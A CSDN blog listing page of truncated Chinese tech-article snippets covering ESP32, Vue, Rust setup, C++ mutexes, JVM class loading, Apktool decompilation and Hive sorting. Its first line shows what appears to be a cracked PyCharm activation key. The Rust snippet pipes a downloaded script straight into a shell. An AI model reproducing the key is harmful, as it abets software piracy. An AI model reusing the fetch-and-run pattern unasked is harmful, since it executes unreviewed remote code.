Ubuntu16.04pycharmpyqt5安装与配置_ubuntu pycharm pyqt5-CSDN博客pycharm激活码 6ZUMD7WWWU-eyJsaWNlbnNlSWQiOiI2WlVNRDdXV1dVIiwibGljZW5zZWVOYW1lIjoiSmV0cyBHcm91cCIsImFzc2lnbmVlTmFtZSI6IiIsImFzc2lnbmVlRW1haWwiOiIiLCJsaWNlbnNlUmVzdHJpY3Rpb24iOiIiLCJjaGVja0NvbmN…...

ESP32学习(1)——环境搭建

使用的ESP32板子如下图所示 它可以用Arduino 软件&#xff0c;基于C语言开发。但是&#xff0c;在这里&#xff0c;我是用Thonny软件&#xff0c;基于micro_python对其进行开发。 1.安装Thonny Thonny的软件安装包&#xff0c;可以去它官网上下载。Thonny, Python IDE for begi…...

Attention Is All Your Need论文笔记

论文解决了什么问题&#xff1f; 提出了一个新的简单网络架构——transformer&#xff0c;仅仅是基于注意力机制&#xff0c;完全免去递推和卷积&#xff0c;使得神经网络训练地速度极大地提高。 We propose a new simple network architecture, the Transformer, based sole…...

vue-进阶语法(四)

目录 v-model原理 v-model应用于组件 sync修饰符 ref 和 $refs&#xff08;重点&#xff09; $nextTick v-model原理 原理&#xff1a;v-model本质上是一个语法糖。例如应用在输入框上&#xff0c;就是 value属性 和 input事件 的合写。 作用&#xff1a;提供数据的双向…...

CGAL::2D Arrangements-7

7 几何Traits 几何Traits封装了几何实体的定义以及处理这些几何实体的几何predicates和构造的实现&#xff0c;供Arrangement_on_surface_2类模板和其他周边模块使用。应用于Arrangement的各种算法所确定的最小要求被组织在精细几何特征概念的层次中。每个概念列出的需求只包括…...

linux系统下vscode portable版本的rust环境搭建004:rust

目的&#xff1a;希望在获得一个新的系统之后&#xff0c;以最简便快速的方式搭配一个rust的编程环境命令在线安装只执行这句就行了 &#xff1a;curl --proto https --tlsv1.2 -sSf https://sh.rustup.rs | sh&#xff0c;因为是要portable安装所以按照以下的方式执行。 下载…...

从汇编角度解释线程间互斥-mutex互斥锁与lock_guard的使用

多线程并发的竞态问题 我们创建三个线程同时进行购票&#xff0c;代码如下 #include<iostream> #include<thread> #include<list> using namespace std; //总票数 int ticketCount100; //售票线程 void sellTicket(int idx) {while(ticketCount>0){cou…...

高程 | 多态性(c++)

文章目录 &#x1f4da;多态&#x1f4da;运算符重载&#x1f407;定义&#x1f407;规则&#x1f407;友元运算符重载函数&#x1f407;成员运算符重载函数 &#x1f4da;虚函数&#x1f4da;纯虚函数和抽象类 &#x1f4da;多态 多态&#xff1a;同样的消息被不同类型的对象…...

LV.23 D2 开发环境搭建及平台介绍 学习笔记

一、Keil MDK-ARM简介及安装 Keil MDK&#xff0c;也称MDK-ARM&#xff0c;Realview MDK &#xff08;Microcontroller Development Kit&#xff09;等。目前Keil MDK 由三家国内代理商提供技术支持和相关服务。 MDK-ARM软件为基于Cortex-M、Cortex-R4、ARM7、ARM9处理器设备…...

[uniapp生命周期]详细讲解uniapp中那些属于vue生命周期,那些属于uniapp独有的生命周期,以及这中间的区别 相关的内容和api 代码注释

目录 1. Vue.js生命周期函数2.Vue生命周期函数代码beforeCreatecreatedbeforeMountmountedbeforeUpdateupdatedbeforeDestroydestroyed$nextTick$forceUpdate$destroy 3. UniApp独有的生命周期函数onLaunchonShowonHideonError 4.总结 在UniApp中&#xff0c;除了Vue.js的生命周…...

【动态规划】【记忆化搜索】【状态压缩】1681. 最小不兼容性

作者推荐 【数位dp】【动态规划】【状态压缩】【推荐】1012. 至少有 1 位重复的数字 本文涉及知识点 动态规划汇总 状态压缩 记忆化搜索 1681. 最小不兼容性 给你一个整数数组 nums​​​ 和一个整数 k 。你需要将这个数组划分到 k 个相同大小的子集中&#xff0c;使得同一…...

JVM-类加载器 双亲委派机制

申明&#xff1a;文章内容是本人学习极客时间课程所写&#xff0c;文字和图片基本来源于课程资料&#xff0c;在某些地方会插入一点自己的理解&#xff0c;未用于商业用途&#xff0c;侵删。 什么是JVM JVM是Java Virtual Machine&#xff08;Java虚拟机&#xff09;的缩写&a…...

vue axios 请求后端无法传参问题

vue请求后端无法传参问题 问题描述处理过程总结 问题描述 在学习vue时&#xff0c;使用axios调用后端&#xff0c;发现无法把参数正确传到后端&#xff0c;现象如下&#xff1a; 使用vue发起请求&#xff0c;浏览器上已经有传参&#xff0c;但是后端没接收到对应的用户名密码&…...

打印最小公倍数

打印最小公倍数 题目描述&#xff1a; 输入2个整数m和n&#xff0c;计算m和n的最小公倍数&#xff0c;并打印出结果 测试1&#xff1a; 输入&#xff1a;18 24 输出&#xff1a;72 测试2&#xff1a; 输入&#xff1a;18 6 输出&#xff1a;18解法思路: 最小公倍数是指两个…...

[AIGC] Java 和 Kotlin 的区别

好的&#xff0c;我还是以“萌萌哒小码农”的身份继续回答您的问题。 Java 和 Kotlin 是两种不同的编程语言&#xff0c;它们有许多共同点&#xff0c;但也有一些重要的区别。以下是一些常见的 Java 和 Kotlin 的区别&#xff1a; 语法 Kotlin 的语法比 Java 简洁得多&#…...

蓝桥杯电子类单片机提升一——超声波测距

前言 单片机资源数据包_2023 一、超声波测距原理 二、超声波测距的应用 1.超声波的发射 2.单片机知识补充&#xff1a;定时器 3.超声波的接收与计时 4.距离的计算 1&#xff09;定时器1为16位自动重载&#xff0b;1T11.0592MHz 2&#xff09;定时器1为16位自动重载&am…...

前端架构: 脚手架开发流程中的难点梳理

脚手架的开发流程 1 &#xff09;开发流程 创建 npm 项目创建脚手架入口文件&#xff0c;最上方添加&#xff1a; #!/usr/bin/env node 配置 package.json, 添加 bin 属性编写脚手架代码将脚手架发布到 npm 2 &#xff09;使用流程 安装脚手架 npm install -g your-own-cli …...

django中配置使用websocket

Django 默认情况下并不支持 WebSocket&#xff0c;但你可以通过集成第三方库如 channels 来实现 WebSocket 功能。channels 是一个 Django 应用&#xff0c;它提供了对 WebSocket、HTTP2 和其他协议的支持。 下面是如何在 Django 项目中使用 WebSocket 的基本步骤&#xff1a;…...

Rust复合类型详解

在Rust中&#xff0c;复合类型是一种能够将多个值组合在一起的数据类型。本篇博客将介绍两种常见的复合类型&#xff1a;元组&#xff08;Tuple&#xff09;和数组&#xff08;Array&#xff09;。 Tuple&#xff08;元组&#xff09; 元组是Rust中的一种复合类型&#xff0c…...

学习 JavaScript 闭包

1. 前言 闭包是 JavaScript 中一种非常重要的概念&#xff0c;它允许函数访问其外部作用域中的变量&#xff0c;即使在函数被返回或者在其原始定义的作用域之外执行时仍然可以访问这些变量。 在讲解闭包之前我们得弄清楚下面的概念&#xff1a; 作用域链&#xff1a; JavaSc…...

VScode中配置 C/C++ 环境 | IT拯救者

文章目录 0 引言1. 下载编辑器VScode2. 下载编译器MinGW并解压3. 将MinGW添加至环境变量4. 配置VScode插件5. 运行代码6. 调整和优化7. 提示8. 例行格式条款9. 例行格式条款 0 引言 由于VScode毛毛张使用不习惯&#xff0c;因此配置教程记不住&#xff0c;不过毛毛张看到一篇不…...

基于Python实现Midjourney集成到(个人/公司)平台中

目前Midjourney没有对外开放Api&#xff0c;想体验他们的服务只能在discord中进入他们的频道进行体验或者把他们的机器人拉入自己创建的服务器中&#xff1b;而且现在免费的也用不了了&#xff0c;想使用就得订阅。本教程使用midjourney-api这个开源项目&#xff0c;搭建Midjou…...

蓝桥杯刷题--python-6

0最大距离 - 蓝桥云课 (lanqiao.cn) n=int(input()) nums=list(map(int,input().split()))max_=float(-inf) for i in range (n):for j in range (i+1,n):tmp=abs(i-j)+abs(nums[i]-nums[j])max_=max(tmp,max_) print(max_) 0最长递增 - 蓝桥云课 (lanqiao.cn) import os im…...

node+vue3+mysql前后分离开发范式——实现对数据库表的增删改查

文章目录 ⭐前言⭐ 功能设计与实现💖 node后端操作数据库实现增删改查💖 vue3前端实现增删改查⭐ 效果⭐ 总结⭐ 结束⭐结束⭐前言 大家好,我是yma16,本文分享关于 node+vue3+mysql前后分离开发范式——实现对数据库表的增删改查。 技术选型 前端:vite+vue3+antd 后端:…...

【Android】使用Apktool反编译Apk文件

文章目录 1. 下载Apktool1.1 Apktool官网下载1.2 百度网盘下载 2. 安装Apktool3. 使用Apktool3.1 配置Java环境3.2 准备Apk文件3.3 反编译Apk文件3.3.1 解包Apk文件3.3.2 修改Apk文件3.3.3 打包Apk文件3.3.4 签名Apk文件 1. 下载Apktool 要使用Apktool&#xff0c;需要准备好 …...

(04)Hive的相关概念——order by 、sort by、distribute by 、cluster by

Hive中的排序通常涉及到order by 、sort by、distribute by 、cluster by 一、语法 selectcolumn1,column2, ... from table [where 条件] [group by column] [order by column] [cluster by column| [distribute by column] [sort by column] [limit [offset,] rows]; …...